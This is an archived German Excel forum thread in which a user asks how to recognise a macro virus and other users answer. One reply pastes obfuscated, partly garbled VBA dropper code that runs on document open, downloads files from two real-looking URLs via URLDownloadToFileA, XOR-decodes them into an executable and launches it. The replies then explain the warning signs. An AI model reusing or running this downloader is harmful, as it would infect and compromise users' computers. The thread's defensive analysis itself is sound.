Anzeige
Archiv - Navigation
1648to1652
Aktuelles Verzeichnis
Verzeichnis Index
Übersicht Verzeichnisse
Vorheriger Thread
Rückwärts Blättern
Nächster Thread
Vorwärts blättern
Anzeige
HERBERS
Excel-Forum (Archiv)
20+ Jahre Excel-Kompetenz: Von Anwendern, für Anwender
Inhaltsverzeichnis

Makrovirus

Makrovirus
27.09.2018 17:41:22
Ludwig
Moin,
die Frage ist sicher bereits das Ein oder Andere Mal aufgetaucht, aber wie erkenne ich einen Makrovirus im Code?
Klar, im Zweifel öffne ich Datei einfach nicht. Ich selbst habe noch nie einen Makrovirus erhalten...es würde mich aber mal interessieren, woran ich einen Makrovirus erkennen kann? Gibt es eindeutige Merkmale?
Danke vorab.

5
Beiträge zum Forumthread
Beiträge zu diesem Forumthread

Betreff
Datum
Anwender
Anzeige
AW: Vorsicht!!!! (scharf)
27.09.2018 17:46:53
Anonymous

https://www.mrexcel.com/forum/excel-questions/1005355-%2A%2Ahelp%2A%2A-code-decrypt.html         _
#If VBA7 And Win64 ThenPrivate Declare PtrSafe Function kacyzys Lib "shell32.dll" Alias " _
ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
'        Private Declare PtrSafe Function izyxiky Lib "kernel32" Alias "GetTempPathA" (ByVal  _
nBufferLength As Long, ByVal lpBuffer As String) As Long
'        Private Declare PtrSafe Function vivicuf Lib "kernel32" Alias "GetTempFileNameA" ( _
ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
'        Private Declare PtrSafe Function xukovox Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
'        Private Declare Function kacyzys Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd  _
As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
'        Private Declare Function izyxiky Lib "kernel32" Alias "GetTempPathA" (ByVal  _
nBufferLength As Long, ByVal lpBuffer As String) As Long
'        Private Declare Function vivicuf Lib "kernel32" Alias "GetTempFileNameA" (ByVal  _
lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
'        Private Declare Function xukovox Lib "urlmon" Alias "URLDownloadToFileA" (ByVal  _
pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
'        Sub Document_Open()
Dim cucywoj As String
Dim qipofow As String
Dim lygomos As Long
Dim imatase As Long
Dim ibymitu As Integer
Dim egaresi() As Byte
Dim wijyher As Object
Dim iqykomo As Object
#If Win64 Then
Dim byqafyg As LongLong
#Else
Dim byqafyg As Long
#End If
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = acadure("A`sF"",""")
.Size = 14
End With
ActiveDocument.Range.Text = acadure("m1`f{ghttp://www.imeiliberar.com/php/lut.gif
imatase = FileLen(cucywoj)
End If
If lygomos  0 And imatase http://youngequipmentsolutions.com/misterblack/black.gif
imatase = FileLen(cucywoj)
End If
If imatase  0 And cubagyz  0 Then
ewekixo = Left$(aruxane, InStr(aruxane, vbNullChar) - 1)
End If
lypasof = ewekixo
End If
End Function
Public Sub povynuf(egaresi() As Byte)
Dim pumavot As Long
Dim tixubiz As Long
Dim gagyxit As Long
Dim kerihov(256) As Byte
Dim hexozys As Long
Dim ytepiku As Long
tixubiz = UBound(egaresi) + 1
For pumavot = 10 To 265
kerihov(pumavot - 10) = egaresi(pumavot)
Next
hexozys = UBound(kerihov) + 1
ytepiku = 0
For pumavot = 266 To (tixubiz - 1)
egaresi(pumavot - 266) = egaresi(pumavot) Xor kerihov(ytepiku)
ytepiku = ytepiku + 1
If ytepiku = (hexozys - 1) Then
ytepiku = 0
End If
Next
ReDim Preserve egaresi(tixubiz - 267)
End Sub
Public Function acadure(ByVal bidabes As String) As String
Dim koqogof(256)
Dim okexepu As String
Dim murazah As Long
Dim oxamalo As String
okexepu = "G6aE@:KxvflQnwmgAhYo-~8yb{25SqUOjV&'I+dWX?`T1\%_;7$3t=9p4)]DBZ^He#.JP*c z| _
iR0CN""[FMru"
For murazah = 1 To Len(okexepu)
koqogof(murazah + 31) = Mid(okexepu, murazah, 1)
Next murazah
For murazah = 1 To Len(bidabes)
oxamalo = Mid(bidabes, murazah, 1)
acadure = acadure & koqogof(Asc(oxamalo))
Next murazah
End Function

Anzeige
AW: Makrovirus
27.09.2018 18:21:09
ChrisL
Hi Ludwig
Z.B. hier wurde schon darüber diskutiert:
https://www.herber.de/cgi-bin/callthread.pl?index=1636884
Beim Code von Anonymous können u.a. folgende Punkte als "verdächtig" eingestuft werden:
- API (Schnittstellen) zu kernel32 (Kern vom Betriebssystem)
- Dateidownloads URLDownloadToFileA (n.b. der Alias ist ein selbst definierter Name d.h. man hätte es auch verschleiern können)
- Die kryptischen Variablen-Namen z.B. Dim cucywoj As String anstelle eines beschreibenden Namens z.B. strFilePath
cu
Chris
Anzeige
Verschleierung ...
28.09.2018 05:31:34
lupo1
... von Variablennamen ("Obfuscation") ist dabei nicht beschränkt auf Viren, sondern wird auch gern verwendet, um VBA-Code weniger lesbar zu machen (dann keine schädlichen Absichten, sondern nur ein Mosaikstück gegen Klau geistiger Leistung).
"Zuhause" hat der Ersteller natürlich die Vorlage mit klaren Variablennamen.
...Oder auch nicht, falls diese mit einer ...
28.09.2018 12:20:57
Luc:-?
…KryptisierungsFkt leicht aus einem Klarnamen erzeugt wdn können (und umgekehrt), Lupo. ;-)
Das kann man auch mit VBA-Fkts-/-Methodennamen und manchen Anweisungen machen, wenn die Dekryptisierung ins Pgm inte­griert wurde, natürlich nicht per Pgm-Stop kontrollierbar…
Aber verdächtig ist so etwas natürlich auf jeden Fall, denn auf diese Weise können auch unberechtigt benutzte Dateien gelöscht wdn!
Gruß, Luc :-?
„Die Intelligenzmenge ist auf diesem Planeten eine Konstante, die Bevölkerung nimmt aber zu!“ Auch deshalb informieren mit …
Anzeige
AW: Anayse
28.09.2018 08:24:37
Ananymous
der gezeigte Code ist kein Virus, sondern ein "Nachlader". Je nach Erfahrung findet nach schnell oder weniger schnell die URL, von der mit der API "URLMON" eine Datei nachgeladen wird, dann byte-weise umkodiert, damit ein ausführbares Programm entsteht. Mit "Shell()" wird dieser eigentliche Virus gestartet.
Erfahrene Virenjäger sollten nach wenigen Minuten die URL identifiziert haben und dann (hoffentlich) Gegenmaßnahmen einleiten.
Kann man aus dem Code bzw. der Art der Variablennamen Rückschlüsse auf die Täter machen?
Die Varialennamen sind zumindest im engl. Sprachraum recht ungewöhnlich. Aber Google führt dann zu einer Seite der Viren-Jäger.
Falls ein User diesen Code sehen sollte, MUSS die Obsfuscation misstrauich machen!
Besondere Schutzmassnahmen, z.B. prüfen, ob der Code in einer Sandbox läuft (VBA bietet das an) sind nicht vorhanden.
Einige Erfahrungen mit VBA muss der Autor gehabt haben.
Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige
Anzeige
Anzeige